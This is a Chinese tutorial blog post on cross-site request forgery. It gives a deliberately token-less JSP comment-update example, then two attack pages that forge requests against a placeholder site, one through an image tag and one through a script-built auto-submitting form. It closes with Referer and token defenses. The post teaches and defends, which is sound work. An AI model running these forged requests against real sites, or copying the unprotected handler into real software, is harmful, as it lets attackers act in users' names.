`
youyu4
  • 浏览: 440479 次
社区版块
存档分类
最新评论

web安全之跨站请求伪造

 
阅读更多

CSRF(Cross-site request forgery),中文名称:跨站请求伪造.
因为这个不是用户真正想发出的请求,这就是所谓的请求伪造;因为这些请求也是可以从第三方网站提交的,所以前缀跨站二字。

CSRF发生的场景如下图所示:

用户登录访问了一个受信任的站点,
在用户还没有退出登录的时候,打开另外一个tab页,访问了网站B。
在B网站中,有CSRF攻击代码访问网站A。
发生的原因是,网站是通过cookie来识别用户的,当用户成功进行身份验证之后浏览器就会得到一个
标识其身份的cookie,只要不关闭浏览器或者退出登录,以后访问这个网站会带上这个cookie。
1.登录受信任网站A,并在本地生成Cookie。
2.在不登出A的情况下,访问危险网站B。
你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。
是的,确实如此,但你不能保证以下情况不会发生:
1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。
2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。
(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于
退出登录/结束会话了)如记住密码功能等。
3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
下面来看一个代码实例,在网站A发布了下面的代码
用户login,然后可以在input.jsp提交数据,提交的数据被dataupdate.jsp更新到后台。
dataupdate.jsp会检查用户是否登录,如果没有登录会跳到login.jsp要求用户登录。

 

[html] view plaincopy在CODE上查看代码片派生到我的代码片
 
  1. login.jsp  
  2. <body>  
  3. <form action="input.jsp" method="post">  
  4. name<input type="text" name="name" size="50"><br>  
  5. pwd<input type="password" name="password" size="50"><br>  
  6. <input type="submit" value="submit">  
  7. </form>  
  8. <br>  
  9. </body>  
  10. </html>  
  11.   
  12. input.jsp  
  13. <body>  
  14. <%  
  15.     //Session session = request.getSession();  
  16.     String username = (String)session.getValue("username");  
  17.     System.out.println("username " + username);  
  18.     if(null==username){  
  19.         String uname = request.getParameter("name");  
  20.         session.putValue("username", uname);  
  21.     }  
  22.   
  23. %>  
  24. <form action="dataupdate.jsp" method="post">  
  25. <input type="text" name="comment" size="50"><br>  
  26. <input type="submit" value="submit">  
  27. </form>  
  28. <br>  
  29. </body>  
  30.   
  31. dataupdate.jsp  
  32. <body>  
  33. <%  
  34.     String username = (String)session.getValue("username");  
  35.     System.out.println("username " + username);  
  36.     if(null==username){  
  37.         System.out.println("has not logged in");  
  38.         response.sendRedirect("login.jsp");  
  39.     }else{  
  40.         String comment = request.getParameter("comment");  
  41.           
  42.         System.out.println("add a comment: " + comment);  
  43.               
  44.         out.write("comment is : " + comment);  
  45.     }  
  46. %>  
  47. </body>  
  48. </html>  

表面上看起来好像没有问题。
假设我们有另外一个网站B,它有一个网页文件如下
如果在用户登录访问网站A的同时访问了网站B,访问者在网站A的数据就会被假冒更新。
可以在后台看到有如下的输出:add a comment: fromcsrf

 

 

[html] view plaincopy在CODE上查看代码片派生到我的代码片
 
  1. <body>  
  2. use a img element to send a get request <br>  
  3. <img src="http://www.a.com/prjWebSec/csrf/dataupdate.jsp?comment=fromcsrf">  
  4. </body>  
  5. </html>  

这里网站A违反了HTTP规范,使用GET请求更新资源。那是不是用post请求就不会发生CSRF呢?
结果是同样会发生。可以通过构造javascript构造form提交,如下面的代码

 

 

[html] view plaincopy在CODE上查看代码片派生到我的代码片
 
  1. <body >  
  2. </body>  
  3.     <script type="text/javascript">  
  4.   
  5.         var frmdocument.getElementById("viframe");  
  6.         function sendcsrf()    
  7.         {    
  8.             var form1 = document.createElement("form");    
  9.             form1.id = "form1";    
  10.             form1.name = "form1";    
  11.             document.body.appendChild(form1);    
  12.           
  13.             var input = document.createElement("input");    
  14.             input.type = "text";    
  15.             input.name = "comment";    
  16.             input.value = "from csrf post";    
  17.           
  18.             form1.appendChild(input);    
  19.             form1.method = "POST";    
  20.             form1.action = "http://www.a.com/prjWebSec/csrf/dataupdate.jsp";    
  21.             form1.submit();    
  22.             document.body.removeChild(form1);    
  23.         }   
  24.         sendcsrf();  
  25.     </script>  
  26. </html>  

防止方法:
1,利用referer判断,
但是用户有可能设置浏览器使其在发送请求时不提供 Referer,这样的用户也将不能访问网站。
2,在请求中添加 token 并验证
关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中,
可以在服务器端生成一个随机码,然后放在form的hidden元素中,form提交的时候在服务器端检查。

分享到:
评论

相关推荐

    Tomcat怎样防止跨站请求伪造(CSRF) 1

    在 Web 应用开发中,跨站请求伪造(CSRF)是一种常见的安全威胁。跨站请求伪造攻击是指攻击者诱骗受信任用户访问恶意网站,从而使得恶意网站能以用户身份对受信任网站执行操作。为了防止这种攻击,Tomcat 提供了一个...

    论文研究-跨站请求伪造(CSRF)攻击与防范技术研究 .pdf

    跨站请求伪造(CSRF)攻击与防范技术研究,刘雅楠,马兆丰,跨站请求伪造(CSRF)攻击作为最严重的web漏洞威胁之一被列入了开放Web应用安全项目(OWASP)十大漏洞列表。该攻击具有很大隐蔽性和危

    csrf跨站请求伪造简单示例

    一个简单的csrf跨站请求伪造的示例,只有一个简单的表单提交功能.通过伪造表单提交,完成一个简单的钓鱼案例

    防止伪造跨站请求

    标题中的“防止伪造跨站请求”指的是Web应用安全领域中的CSRF(Cross-Site Request Forgery,跨站请求伪造)防护。CSRF攻击是利用用户的已登录状态,诱使用户在不知情的情况下执行非预期的操作,例如转移资金、更改...

    008-Web安全基础4 - 请求伪造漏洞.pptx

    008-Web安全基础4 - 请求伪造漏洞

    跨站请求伪造-CSRF防护方法

    CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web攻击方式,攻击者可以欺骗用户浏览器,发出恶意请求,危害用户的安全。因此,防御CSRF攻击非常重要。下面将对CSRF攻击原理和防御方法进行详细的...

    Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342.md

    锚点CMS 0.12.7版本中出现了一个严重的安全漏洞,即跨站请求伪造(CSRF)漏洞,其CVE编号为CVE-2020-23342。这个漏洞是公开披露的,并且可能已被安全研究人员或恶意行为者所知。 跨站请求伪造(CSRF)是一种攻击者...

    CSRF跨站请求伪造CSRF PHP demo代码

    CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种网络攻击方式,攻击者通过诱导用户在已登录的网站上执行非预期的操作。在这个PHP demo中,我们将深入理解CSRF攻击的原理,并探讨如何防范。 首先,让我们看...

    Collabtive系统跨站请求伪造攻击实验-内含源码以及设计说明书(可以自己运行复现).zip

    在这个实验中,我们将探讨一个重要的安全问题——跨站请求伪造(Cross-Site Request Forgery, CSRF)攻击,这种攻击允许恶意用户在受害者不知情的情况下,利用其浏览器发起伪造的请求。通过这个实验,你可以了解CSRF...

    74cms v5.0.1 后台跨站请求伪造漏洞 CVE-2019-11374.md

    跨站请求伪造(Cross-site Request Forgery,简称CSRF)是一种常见的网络安全漏洞。该漏洞允许攻击者误导合法用户执行非预期的命令或操作。在74CMS v5.0.1这一具体案例中,漏洞存在于后台管理系统中,攻击者能够利用...

    防跨站伪造测试代码

    在IT行业中,跨站伪造(Cross-Site Request Forgery,简称CSRF)是一种常见的网络攻击方式,它利用用户的登录状态来执行非用户意愿的操作。针对这种情况,开发人员需要采取有效的防御措施,Spring框架为此提供了内置...

    网络安全原理与应用:跨站请求伪造CSRF攻击演示.pptx

    跨站请求伪造CSRF攻击演示;;跨站请求伪造CSRF攻击演示;跨站请求伪造CSRF攻击演示;跨站请求伪造CSRF攻击演示;跨站请求伪造CSRF攻击演示;跨站请求伪造CSRF攻击演示;跨站请求伪造CSRF攻击演示;跨站请求伪造CSRF攻击演示...

    Web安全培训ppt(适合初学者)

    CSRF(跨站请求伪造) SSRF(服务器端请求伪造) 文件上传下载:富文本编辑器 弱口令: X-Scan、Brutus、Hydra、溯雪等工具 其它漏洞: 4、逻辑漏洞(3天) 平行越权 垂直越权 任意密码重置 支付漏洞:0元购 接口...

    白帽子讲Web安全.pdf百度云分享+Web前端黑客技术揭秘.pdf

    1. **Web安全基础**:书中首先介绍了Web安全的基础知识,包括HTTP协议、Web应用架构以及常见的攻击模式,如SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)等。 2. **漏洞分析**:作者详细解析了各种Web漏洞的成因...

    PHP防御战:跨站请求伪造(CSRF)保护策略

    PHP(Hypertext Preprocessor)是一种广泛使用的开源脚本语言,主要用于Web开发,将服务器端的脚本与HTML页面相结合,创建动态交互式Web页面。PHP的名字是一个递归缩写,表示"PHP: Hypertext Preprocessor"。 ## ...

    《白帽子讲Web安全》.pdf

    Web安全的主要威胁包括SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)、文件上传漏洞、会话劫持等。 2. SQL注入:这是一种常见的网络攻击手段,攻击者通过在数据库查询语言中注入恶意SQL代码,从而控制数据库...

    白帽子讲web安全 完整版

    2. **攻击方式与防范**:详述各种常见的Web安全攻击,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)、文件包含漏洞、命令注入等,分析它们的原理、实施手段,并给出相应的防护措施。 3. **身份验证与授权**:...

Global site tag (gtag.js) - Google Analytics